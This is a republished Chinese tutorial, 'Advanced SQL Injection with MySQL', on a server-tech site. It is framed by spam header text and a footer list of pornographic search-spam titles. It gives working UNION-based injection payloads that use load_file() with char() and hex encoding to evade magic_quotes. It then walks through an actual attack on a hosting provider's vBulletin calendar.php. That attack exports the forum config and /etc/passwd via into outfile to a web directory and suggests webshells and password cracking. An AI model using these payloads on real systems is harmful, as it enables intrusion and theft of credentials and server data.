一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數據庫技術|

服務器之家 - 數據庫 - Mysql - Advanced SQL Injection with MySQL

Advanced SQL Injection with MySQL

2019-10-15 14:36安全天使·angel[BST] Mysql

前言 我的《SQL Injection with MySQL》(《黑客防線》7月的專題)已經對MySQL的注入有了比較全面的介紹了,但是有一個危害相當大的函數,我并沒有在文中提及,因為如果能靈活應用這個函數,那PHP甚至服務器的安全性均會大打折扣,

前言

  我的《SQL Injection with MySQL》(《黑客防線》7月的專題)已經對MySQL的注入有了比較全面的介紹了,但是有一個危害相當大的函數,我并沒有在文中提及,因為如果能靈活應用這個函數,那PHP甚至服務器的安全性均會大打折扣,由于《SQL Injection with MySQL》的發表時間是在暑假期間,考慮到很多新手、學生和品德敗壞的人亂用,所以我并沒有把這個寫在該文里,其實本文在5月初已寫完。專題發表后,很多人已經陸續轉到PHP+MYSQL注入的研究,很多新技術將會陸續挖掘出來,我們所掌握這方面未公開的高級技巧也會陸續公布出來。至于比較基礎的東西,本文就不再提了。

詳細

  我們知道,在SQL語句中,可以使用各種MySQL內置的函數,經常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()這些函數來獲取一些系統的信息,還有一個應用得比較多的函數,就是load_file(),該函數的作用是讀入文件,并將文件內容作為一個字符串返回。
  看到這里,應該可以想到我們可以做什么了,就是讀取一些機密文件,但是也是有條件限制的:

  • 欲讀取文件必須在服務器上

  • 必須指定文件完整的路徑

  • 必須有權限讀取并且文件必須完全可讀

  • 欲讀取文件必須小于 max_allowed_packet

  如果該文件不存在,或因為上面的任一原因而不能被讀出,函數返回空。比較難滿足的就是權限,在windows下,如果NTFS設置得當,是不能讀取相關的文件的,當遇到只有administrators才能訪問的文件,users就別想load_file出來。

  在實際的注入中,我們有兩個難點需要解決:

  • 絕對物理路徑

  • 構造有效的畸形語句

  在很多PHP程序中,當提交一個錯誤的Query,如果display_errors = on,程序就會暴露WEB目錄的絕對路徑,只要知道路徑,那么對于一個可以注入的PHP程序來說,整個服務器的安全將受到嚴重的威脅。構造語句已經是小意思了。

利用

  我們假設一個程序的SQL語句如下:

SELECT * FROM article WHERE articleid=$id

  注:當前條件:magic_quotes_gpc = off,c:/boot.ini可讀。

  此時,我們構造$id為:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

  我們的Query就變成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序會把c:/boot.ini內容老老實實顯示出來,但是現在magic_quotes_gpc = off的主機少之又少,怎么才能構造出沒有引號的語句呢?看過《SQL Injection with MySQL》的朋友肯定知道用char()函數或者把字符轉換成16進制,沒錯,就是它們。

  注:當前條件:magic_quotes_gpc = on,c:/boot.ini可讀。

  我們構造$id為:

-1 union select 1,1,1,load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代碼,我們的Query就變成:

SELECT * FROM article WHERE articleid=-1 union select 1, 1, 1, load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  我們也可以成功的讀取boot.ini文件,還有把字符串轉換為16進制的,“c:/boot.ini”的16進制是“0x633a2f626f6f742e696e69”,所以上面的語句可以是這樣:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

  比較短了,看各人喜好了,大家可以在phpmyadmin或mysql>下輸入以下查詢慢慢研究。

SELECT load_file([string])

  當然,在實際應用中,由于種種條件限制,文件的內容未必會顯示出來,我們也可以用into outfile把文件導出。大家已經知道如何利用了,我也不說細節了,看一個實例說明一切。

實例

  www.***host.cn是我國著名的FreeBSD主機提供商,我們就拿他來測試,因為它的論壇采用的是calendar.php存在問題的VBB論壇,我就不需要到處去找有漏洞的站點了(雖然到處都是)。這是一次完整的安全測試。僅僅獲取信息,我并未進入服務器。

  這里補充說明一點關于VBB的根目錄下global.php的一段代碼,如下:

<?php 
// get rid of slashes in get / post / cookie data 
function stripslashesarray (&$arr
) { 
    while (list(
$key,$val)=each($arr
)) { 
        if (
$key!="templatesused" and $key!="argc" and $key!="argv"
) { 
            if (
is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"
))) { 
                
$arr["$key"] = stripslashes($val
); 
            } else if (
is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' ORstrtoupper($key)!=$key
)) { 
                
$arr["$key"] = stripslashesarray($val
); 
            } 
        } 
    } 
    return 
$arr


if (
get_magic_quotes_gpc() and is_array($GLOBALS
)) { 
    if (isset(
$attachment
)) { 
        
$GLOBALS['attachment'] = addslashes($GLOBALS['attachment'
]); 
    } 
    if (isset(
$avatarfile
)) { 
        
$GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile'
]); 
    } 
    
$GLOBALS stripslashesarray($GLOBALS
); 


set_magic_quotes_runtime(0
); 

?>

  這段代碼的作用就是如果magic_quotes_gpc打開,就去掉所有特殊字符的前面的轉義字符,所以,不管php.ini里magic_quotes_gpc的狀態如何,我們輸入的單引號都沒有影響的,大家可以放心注入。呵呵。

  我們知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, username, password FROM user WHERE userid=1

  是可以獲取用戶名和密碼MD5散列的,但是由于特殊原因,并沒有顯示出來,但憑我的經驗,知道并沒有構造錯,所以我們可以讀取并導出成文件。
  因為事先我無意中訪問到了含有phpinfo()的文件,所以知道了WEB的絕對路徑,從訪問站點的結果,發現一個下載系統是生成HTML文件的,如果那個目錄沒有可寫權限,是不能生成HTML文件的,不過這一切都不是本文的重點,我們現在掌握如下信息:

  • WEB絕對路徑:/home/4ngel

  • 可寫目錄路徑:/home/4ngel/soft/

  • magic_quotes_gpc = on

  和主機root相比,論壇的admin根本就不算什么,我對論壇admin也不感興趣,我們要讀取論壇的配置文件還有/etc/passwd,知道MySQL的連接信息,可以從這里入手,寫webshell或其他的東西,知道/etc/passwd我們可以跑密碼。直接從ssh上去。

  VBB論壇的配置文件在/home/4ngel/forum/admin/config.php,轉換成ASCII代碼,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,記得加一個where來定一個條件,否則如果論壇用戶很多,那么導出的文件會相當大。或者干脆指定$eventid為一個不存在的值,就不用where了,就像這樣:

calendar.php?action=edit&eventid=-1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd轉換成ASCII代碼,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到論壇的頂部,會出現下面的錯誤提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  經驗告訴我們,文件導出成功了,提交:

http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt

  內容嘩啦啦的出來了,而黑夜和豬蛋的他們入侵灰色的時候,一個個顯示密碼,欺騙,登陸后臺,上傳后門,讀取config.php,一連串的步驟,我一個load_file()就搞定了。是不是危害很大?如圖:

Advanced SQL Injection with MySQL

Advanced SQL Injection with MySQL

  我記得在某個群里討論到大家都是通過搞9****.net這個站,而進入黑白服務器的,沒有辦法對黑白橫沖直闖,只得來曲線的。用load_file()函數,知道了某些信息就可以進入黑白所在的服務器,過程和上面的一樣,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,遠程連接,寫數據庫導出文件,很容易獲得服務器admin。

后記

  由于危害太大,我一直都不太敢發布,相信國內也有人知道的。只是不公開而已。經過再三考慮還是決定發布了,希望大家掌握了以后,不要對國內的站點做任何具有破壞性的操作。謝謝合作!

 

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 国产中文字幕 | 99热这里只有精品国产免费 | 高h细节肉爽文办公室 | 男人影院在线观看 | 波多野结衣两女调教 | 北岛玲在线视频 | 4虎影视国产在线观看精品 4s4s4s4s色大众影视 | 欧美破处摘花 | 岛国不卡 | 美女的隐私脱裤子无遮挡 | 麻豆视频免费在线观看 | 91精品啪在线观看国产线免费 | 69一级毛片 | 韩剧消失的眼角膜免费完整版 | 午夜在线观看免费完整直播网 | 四虎新网址 | 亚洲国产精品无圣光一区二区 | 鄂州一家三口完整版免费 | 男人亚洲天堂 | 操老逼| 久久棋牌评测 | 91亚洲精品久久91综合 | 大胆国模一区二区三区伊人 | 黑人性xxx | jzjzjz日本在线观看 | 性色AV一区二区三区V视界影院 | 玩高中女同桌肉色短丝袜脚文 | 亚洲精品乱码蜜桃久久久 | 国产成人免费在线观看 | 亚洲欧美综合人成野草 | 青青青青青操 | 四虎新网址 | 高h辣文小说网 烧书阁 | 久久久久久久国产精品视频 | 精品国产免费一区二区三区 | 秋霞在线一级 | 大桥未久aⅴ一区二区 | 强漂亮白丝女教师小说 | 久99视频精品免费观看福利 | 激情影院费观看 | 亚洲人成激情在线播放 |